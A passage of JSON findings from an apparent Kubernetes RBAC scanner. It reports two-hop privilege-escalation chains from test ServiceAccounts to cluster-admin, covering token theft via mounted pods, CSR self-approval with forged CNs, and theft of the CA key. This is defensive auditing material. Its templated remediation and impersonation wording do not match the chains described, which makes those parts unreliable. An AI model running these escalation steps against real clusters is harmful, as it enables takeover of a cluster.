    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/privesc-fixtures/sa-pod-exec`.",
      "Acting as `ServiceAccount/privesc-fixtures/sa-pod-exec`, the attacker uses `pods/exec` (`create,get pods/exec|pods/attach`) to open a shell inside `ServiceAccount/csr-fixtures/sa-csr-mint` and inherit whatever ServiceAccount or host privileges that container holds.",
      "Acting as `ServiceAccount/csr-fixtures/sa-csr-mint`, the attacker submits a CertificateSigningRequest whose Subject DN claims a privileged identity, then self-approves it via the `certificatesigningrequests/approval` subresource (`create certificatesigningrequests + update certificatesigningrequests/approval`). The apiserver maps a client cert's Common Name onto the username it authorizes and never checks whether that identity is one Kubernetes would have issued, so `CN=system:serviceaccount:kube-system:\u003csa\u003e` authenticates as that ServiceAccount. (The textbook `O=system:masters` claim is blocked for this signer by the default CertificateSubjectRestriction admission plugin; the CN route is not.) The cert persists after the RBAC grant is revoked; with no CRL in Kubernetes, only a CA rotation invalidates it.",
      "Final step: attacker can impersonate group `system:masters`. The kube-apiserver short-circuits authorization for `system:masters` via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_exec [create,get pods/exec|pods/attach]",
        "2. csr_approve [create certificatesigningrequests + update certificatesigningrequests/approval]"
      ],
      "first_action": "pod_exec",
      "hop_count": 2,
      "target": "system_masters",
      "target_namespace": "",
      "techniques": [
        "pod_exec",
        "csr_approve"
      ]
    },
    "remediation": "Remove every `impersonate` grant on a path to `system:masters`. Concretely: remove the permission `create,get pods/exec|pods/attach` that enables the first hop (`ServiceAccount/privesc-fixtures/sa-pod-exec` → `ServiceAccount/csr-fixtures/sa-csr-mint`).",
    "remediation_steps": [
      "List subjects with impersonate: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == \"User\" or .kind == \"Group\" or .kind == \"ServiceAccount\") | .metadata.name + \" → \" + (.roleRef.name)'` then check each role's rules for `impersonate`.",
      "Almost no production workload genuinely needs `impersonate users/groups`. Kubectl plugins/dashboards that *do* need it should use `kubectl --as=...` from a human admin's session, not a workload SA.",
      "Break the chain: remove the permission `create,get pods/exec|pods/attach` that enables the first hop (`ServiceAccount/privesc-fixtures/sa-pod-exec` → `ServiceAccount/csr-fixtures/sa-csr-mint`).",
      "For kubectl-as-a-service workloads, scope the impersonation with `resourceNames: [\u003callowed-user\u003e]` to a fixed allowlist of principals; *never* `users: [*]` or `groups: [*]`.",
      "Wire admission policy: a Kyverno rule that fails any RoleBinding granting `impersonate` to a non-system subject without an explicit `resourceNames` carve-out."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_exec",
        "technique": "KUBE-PRIVESC-004",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-exec",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "sa-csr-mint",
          "namespace": "csr-fixtures"
        },
        "permission": "create,get pods/exec|pods/attach",
        "gains": "can exec into pods running as ServiceAccount csr-fixtures/sa-csr-mint",
        "source_binding": "crb-pod-exec",
        "source_role": "cr-pod-exec"
      },
      {
        "step": 2,
        "action": "csr_approve",
        "technique": "KUBE-PRIVESC-011",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-csr-mint",
          "namespace": "csr-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create certificatesigningrequests + update certificatesigningrequests/approval",
        "gains": "can submit a CSR claiming a privileged identity (a kube-system ServiceAccount CN, or system:masters where CertificateSubjectRestriction is off) and self-approve it, minting a CA-signed client cert"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:system_masters"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS:ServiceAccount/rbac-fixtures/sa-pod-create:system_masters",
    "rule_id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS",
    "severity": "CRITICAL",
    "score": 9.049999999999999,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/rbac-fixtures/sa-pod-create` can impersonate **`system:masters`** in 2 hop(s), bypassing all RBAC",
    "description": "Subject `ServiceAccount/rbac-fixtures/sa-pod-create` can chain into the ability to impersonate the `system:masters` group. `system:masters` is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants `system:masters` reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with `O=system:masters` skips authorization entirely).\n\nThe chain (2 hop(s); each step is an RBAC verb the engine validated):\n  1. `ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/csr-fixtures/sa-csr-mint` via `pod_create_token_theft` (create pods): can create pods that mount ServiceAccount csr-fixtures/sa-csr-mint\n  2. `ServiceAccount/csr-fixtures/sa-csr-mint` → `/` via `csr_approve` (create certificatesigningrequests + update certificatesigningrequests/approval): can submit a CSR claiming a privileged identity (a kube-system ServiceAccount CN, or system:masters where CertificateSubjectRestriction is off) and self-approve it, minting a CA-signed client cert\n\nImpersonation of `system:masters` is the rarest but most severe finding type. Most clusters do not give workload SAs `impersonate users/groups` because `system:masters` is the pathological consequence: a single `impersonate` grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-pod-create",
      "namespace": "rbac-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/rbac-fixtures/sa-pod-create` → `system:masters`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Impersonating `system:masters` bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the `impersonate` audit annotation.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/rbac-fixtures/sa-pod-create`.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-pod-create`, the attacker creates a pod that mounts the `ServiceAccount/csr-fixtures/sa-csr-mint` ServiceAccount and then reads `/var/run/secrets/kubernetes.io/serviceaccount/token` from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.",
      "Acting as `ServiceAccount/csr-fixtures/sa-csr-mint`, the attacker submits a CertificateSigningRequest whose Subject DN claims a privileged identity, then self-approves it via the `certificatesigningrequests/approval` subresource (`create certificatesigningrequests + update certificatesigningrequests/approval`). The apiserver maps a client cert's Common Name onto the username it authorizes and never checks whether that identity is one Kubernetes would have issued, so `CN=system:serviceaccount:kube-system:\u003csa\u003e` authenticates as that ServiceAccount. (The textbook `O=system:masters` claim is blocked for this signer by the default CertificateSubjectRestriction admission plugin; the CN route is not.) The cert persists after the RBAC grant is revoked; with no CRL in Kubernetes, only a CA rotation invalidates it.",
      "Final step: attacker can impersonate group `system:masters`. The kube-apiserver short-circuits authorization for `system:masters` via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_create_token_theft [create pods]",
        "2. csr_approve [create certificatesigningrequests + update certificatesigningrequests/approval]"
      ],
      "first_action": "pod_create_token_theft",
      "hop_count": 2,
      "target": "system_masters",
      "target_namespace": "",
      "techniques": [
        "pod_create_token_theft",
        "csr_approve"
      ]
    },
    "remediation": "Remove every `impersonate` grant on a path to `system:masters`. Concretely: remove the `create pods` capability that enables hop 1 (`ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/csr-fixtures/sa-csr-mint`). Evaluated cut: removing this subject from the `crb-pod-create` binding that grants hop 1. A route to the same sink survives that cut.",
    "remediation_steps": [
      "List subjects with impersonate: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == \"User\" or .kind == \"Group\" or .kind == \"ServiceAccount\") | .metadata.name + \" → \" + (.roleRef.name)'` then check each role's rules for `impersonate`.",
      "Almost no production workload genuinely needs `impersonate users/groups`. Kubectl plugins/dashboards that *do* need it should use `kubectl --as=...` from a human admin's session, not a workload SA.",
      "Break the chain: remove the `create pods` capability that enables hop 1 (`ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/csr-fixtures/sa-csr-mint`).",
      "For kubectl-as-a-service workloads, scope the impersonation with `resourceNames: [\u003callowed-user\u003e]` to a fixed allowlist of principals; *never* `users: [*]` or `groups: [*]`.",
      "Wire admission policy: a Kyverno rule that fails any RoleBinding granting `impersonate` to a non-system subject without an explicit `resourceNames` carve-out."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_create_token_theft",
        "technique": "KUBE-PRIVESC-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "sa-csr-mint",
          "namespace": "csr-fixtures"
        },
        "permission": "create pods",
        "gains": "can create pods that mount ServiceAccount csr-fixtures/sa-csr-mint",
        "source_binding": "crb-pod-create",
        "source_role": "cr-pod-create"
      },
      {
        "step": 2,
        "action": "csr_approve",
        "technique": "KUBE-PRIVESC-011",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-csr-mint",
          "namespace": "csr-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create certificatesigningrequests + update certificatesigningrequests/approval",
        "gains": "can submit a CSR claiming a privileged identity (a kube-system ServiceAccount CN, or system:masters where CertificateSubjectRestriction is off) and self-approve it, minting a CA-signed client cert"
      }
    ],
    "alternate_escalation_path": [
      {
        "step": 1,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod rbac-fixtures/daemon-app-nl55v falls back to node IAM role via IMDS"
      },
      {
        "step": 2,
        "action": "control_plane_pki_theft",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "root on a schedulable control-plane node",
        "gains": "can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:system_masters",
      "privesc:survives-first-cut"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS:ServiceAccount/rbac-fixtures/sa-workload-mutate:system_masters",
    "rule_id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS",
    "severity": "CRITICAL",
    "score": 9.049999999999999,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/rbac-fixtures/sa-workload-mutate` can impersonate **`system:masters`** in 2 hop(s), bypassing all RBAC",
    "description": "Subject `ServiceAccount/rbac-fixtures/sa-workload-mutate` can chain into the ability to impersonate the `system:masters` group. `system:masters` is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants `system:masters` reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with `O=system:masters` skips authorization entirely).\n\nThe chain (2 hop(s); each step is an RBAC verb the engine validated):\n  1. `ServiceAccount/rbac-fixtures/sa-workload-mutate` → `ServiceAccount/csr-fixtures/sa-csr-mint` via `workload_create_token_theft` (create deployments/daemonsets/statefulsets/jobs/cronjobs): can create a workload whose pods run as ServiceAccount csr-fixtures/sa-csr-mint\n  2. `ServiceAccount/csr-fixtures/sa-csr-mint` → `/` via `csr_approve` (create certificatesigningrequests + update certificatesigningrequests/approval): can submit a CSR claiming a privileged identity (a kube-system ServiceAccount CN, or system:masters where CertificateSubjectRestriction is off) and self-approve it, minting a CA-signed client cert\n\nImpersonation of `system:masters` is the rarest but most severe finding type. Most clusters do not give workload SAs `impersonate users/groups` because `system:masters` is the pathological consequence: a single `impersonate` grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-workload-mutate",
      "namespace": "rbac-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/rbac-fixtures/sa-workload-mutate` → `system:masters`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Impersonating `system:masters` bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the `impersonate` audit annotation.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/rbac-fixtures/sa-workload-mutate`.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-workload-mutate`, the attacker creates a workload (`create deployments/daemonsets/statefulsets/jobs/cronjobs`) whose pod template runs as `ServiceAccount/csr-fixtures/sa-csr-mint`. The workload controller creates the pods, and nothing checks whether the writer may use that ServiceAccount, so the attacker's container holds its token. This is the same reach as creating the pod directly.",
      "Acting as `ServiceAccount/csr-fixtures/sa-csr-mint`, the attacker submits a CertificateSigningRequest whose Subject DN claims a privileged identity, then self-approves it via the `certificatesigningrequests/approval` subresource (`create certificatesigningrequests + update certificatesigningrequests/approval`). The apiserver maps a client cert's Common Name onto the username it authorizes and never checks whether that identity is one Kubernetes would have issued, so `CN=system:serviceaccount:kube-system:\u003csa\u003e` authenticates as that ServiceAccount. (The textbook `O=system:masters` claim is blocked for this signer by the default CertificateSubjectRestriction admission plugin; the CN route is not.) The cert persists after the RBAC grant is revoked; with no CRL in Kubernetes, only a CA rotation invalidates it.",
      "Final step: attacker can impersonate group `system:masters`. The kube-apiserver short-circuits authorization for `system:masters` via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator."
    ],
    "evidence": {
      "chain_summary": [
        "1. workload_create_token_theft [create deployments/daemonsets/statefulsets/jobs/cronjobs]",
        "2. csr_approve [create certificatesigningrequests + update certificatesigningrequests/approval]"
      ],
      "first_action": "workload_create_token_theft",
      "hop_count": 2,
      "target": "system_masters",
      "target_namespace": "",
      "techniques": [
        "workload_create_token_theft",
        "csr_approve"
      ]
    },
    "remediation": "Remove every `impersonate` grant on a path to `system:masters`. Concretely: remove the permission `create deployments/daemonsets/statefulsets/jobs/cronjobs` that enables the first hop (`ServiceAccount/rbac-fixtures/sa-workload-mutate` → `ServiceAccount/csr-fixtures/sa-csr-mint`).",
    "remediation_steps": [
      "List subjects with impersonate: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == \"User\" or .kind == \"Group\" or .kind == \"ServiceAccount\") | .metadata.name + \" → \" + (.roleRef.name)'` then check each role's rules for `impersonate`.",
      "Almost no production workload genuinely needs `impersonate users/groups`. Kubectl plugins/dashboards that *do* need it should use `kubectl --as=...` from a human admin's session, not a workload SA.",
      "Break the chain: remove the permission `create deployments/daemonsets/statefulsets/jobs/cronjobs` that enables the first hop (`ServiceAccount/rbac-fixtures/sa-workload-mutate` → `ServiceAccount/csr-fixtures/sa-csr-mint`).",
      "For kubectl-as-a-service workloads, scope the impersonation with `resourceNames: [\u003callowed-user\u003e]` to a fixed allowlist of principals; *never* `users: [*]` or `groups: [*]`.",
      "Wire admission policy: a Kyverno rule that fails any RoleBinding granting `impersonate` to a non-system subject without an explicit `resourceNames` carve-out."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "workload_create_token_theft",
        "technique": "KUBE-PRIVESC-003",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-workload-mutate",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "sa-csr-mint",
          "namespace": "csr-fixtures"
        },
        "permission": "create deployments/daemonsets/statefulsets/jobs/cronjobs",
        "gains": "can create a workload whose pods run as ServiceAccount csr-fixtures/sa-csr-mint",
        "source_binding": "crb-workload-mutate",
        "source_role": "cr-workload-mutate"
      },
      {
        "step": 2,
        "action": "csr_approve",
        "technique": "KUBE-PRIVESC-011",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-csr-mint",
          "namespace": "csr-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create certificatesigningrequests + update certificatesigningrequests/approval",
        "gains": "can submit a CSR claiming a privileged identity (a kube-system ServiceAccount CN, or system:masters where CertificateSubjectRestriction is off) and self-approve it, minting a CA-signed client cert"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:system_masters"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS:ServiceAccount/vulnerable/privileged-reader:system_masters",
    "rule_id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS",
    "severity": "CRITICAL",
    "score": 9.049999999999999,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/vulnerable/privileged-reader` can impersonate **`system:masters`** in 2 hop(s), bypassing all RBAC",
    "description": "Subject `ServiceAccount/vulnerable/privileged-reader` can chain into the ability to impersonate the `system:masters` group. `system:masters` is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants `system:masters` reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with `O=system:masters` skips authorization entirely).\n\nThe chain (2 hop(s); each step is an RBAC verb the engine validated):\n  1. `ServiceAccount/vulnerable/privileged-reader` → `ServiceAccount/csr-fixtures/sa-csr-mint` via `pod_create_token_theft` (create pods): can create pods that mount ServiceAccount csr-fixtures/sa-csr-mint\n  2. `ServiceAccount/csr-fixtures/sa-csr-mint` → `/` via `csr_approve` (create certificatesigningrequests + update certificatesigningrequests/approval): can submit a CSR claiming a privileged identity (a kube-system ServiceAccount CN, or system:masters where CertificateSubjectRestriction is off) and self-approve it, minting a CA-signed client cert\n\nImpersonation of `system:masters` is the rarest but most severe finding type. Most clusters do not give workload SAs `impersonate users/groups` because `system:masters` is the pathological consequence: a single `impersonate` grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "privileged-reader",
      "namespace": "vulnerable"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/vulnerable/privileged-reader` → `system:masters`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Impersonating `system:masters` bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the `impersonate` audit annotation.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/vulnerable/privileged-reader`.",
      "Acting as `ServiceAccount/vulnerable/privileged-reader`, the attacker creates a pod that mounts the `ServiceAccount/csr-fixtures/sa-csr-mint` ServiceAccount and then reads `/var/run/secrets/kubernetes.io/serviceaccount/token` from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.",
      "Acting as `ServiceAccount/csr-fixtures/sa-csr-mint`, the attacker submits a CertificateSigningRequest whose Subject DN claims a privileged identity, then self-approves it via the `certificatesigningrequests/approval` subresource (`create certificatesigningrequests + update certificatesigningrequests/approval`). The apiserver maps a client cert's Common Name onto the username it authorizes and never checks whether that identity is one Kubernetes would have issued, so `CN=system:serviceaccount:kube-system:\u003csa\u003e` authenticates as that ServiceAccount. (The textbook `O=system:masters` claim is blocked for this signer by the default CertificateSubjectRestriction admission plugin; the CN route is not.) The cert persists after the RBAC grant is revoked; with no CRL in Kubernetes, only a CA rotation invalidates it.",
      "Final step: attacker can impersonate group `system:masters`. The kube-apiserver short-circuits authorization for `system:masters` via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_create_token_theft [create pods]",
        "2. csr_approve [create certificatesigningrequests + update certificatesigningrequests/approval]"
      ],
      "first_action": "pod_create_token_theft",
      "hop_count": 2,
      "target": "system_masters",
      "target_namespace": "",
      "techniques": [
        "pod_create_token_theft",
        "csr_approve"
      ]
    },
    "remediation": "Remove every `impersonate` grant on a path to `system:masters`. Concretely: remove the `create pods` capability that enables hop 1 (`ServiceAccount/vulnerable/privileged-reader` → `ServiceAccount/csr-fixtures/sa-csr-mint`).",
    "remediation_steps": [
      "List subjects with impersonate: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == \"User\" or .kind == \"Group\" or .kind == \"ServiceAccount\") | .metadata.name + \" → \" + (.roleRef.name)'` then check each role's rules for `impersonate`.",
      "Almost no production workload genuinely needs `impersonate users/groups`. Kubectl plugins/dashboards that *do* need it should use `kubectl --as=...` from a human admin's session, not a workload SA.",
      "Break the chain: remove the `create pods` capability that enables hop 1 (`ServiceAccount/vulnerable/privileged-reader` → `ServiceAccount/csr-fixtures/sa-csr-mint`).",
      "For kubectl-as-a-service workloads, scope the impersonation with `resourceNames: [\u003callowed-user\u003e]` to a fixed allowlist of principals; *never* `users: [*]` or `groups: [*]`.",
      "Wire admission policy: a Kyverno rule that fails any RoleBinding granting `impersonate` to a non-system subject without an explicit `resourceNames` carve-out."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
